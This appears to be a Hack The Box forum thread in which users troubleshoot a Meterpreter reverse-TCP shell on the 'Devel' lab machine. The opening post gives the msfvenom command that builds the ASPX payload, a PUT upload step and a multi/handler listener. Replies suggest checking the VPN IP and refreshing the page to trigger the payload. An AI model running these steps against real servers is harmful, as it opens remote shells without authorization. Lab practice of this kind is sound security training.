Cannot trigger reverse tcp payload on Devel

I've done the following:
create the payload -
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(MY IP) LPORT=(MY PORT) -f aspx -o devel.aspx

upload the payload-
PUT devel.aspx

start a listener-
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST
msf exploit(multi/handler) > set LPORT
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on MYIP:MYPORT

trigger the payload-


nothing... the payload was never triggered and I dont understand where i went wrong.


  • I am facing the same challenge too. Where able to work around it?
    If yes, share your findings please

  • I too am facing same problem...any update on this?

  • Check your IP within the HTB server. if you use ifconfig it should be the inet under tun0

    tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
            inet XX.XX.XX.XX  netmask  destination XX.XX.XX.XX
  • I am facing the same issue as your. These are the exact steps I took and same behaviour.
    I have followed these approaches so far:

    • Recreated the payload
    • Uploaded the payload
    • Restarted msf and the whole process
    • Restarted Kali then the whole process from scratch
    • Reconnected openvpn
    • Make sure that all the time I have connectivity
    • Make sure that I have access to ftp/IIS server

    Nothing looks work.

    The only thing I noticed was that if I use "run", I get this same issue. If I use "exploit" (or "exploit -j") it does not even start the reverse TCP handler part.


  • edited March 21

    Refresh the website

    That should kick start the session.

    Confirm: Return to your terminal with your meterperter session. Otherwise, start the entire exploit over, end sessions and go step by step. Annoying, but necessary.

    Good luck!

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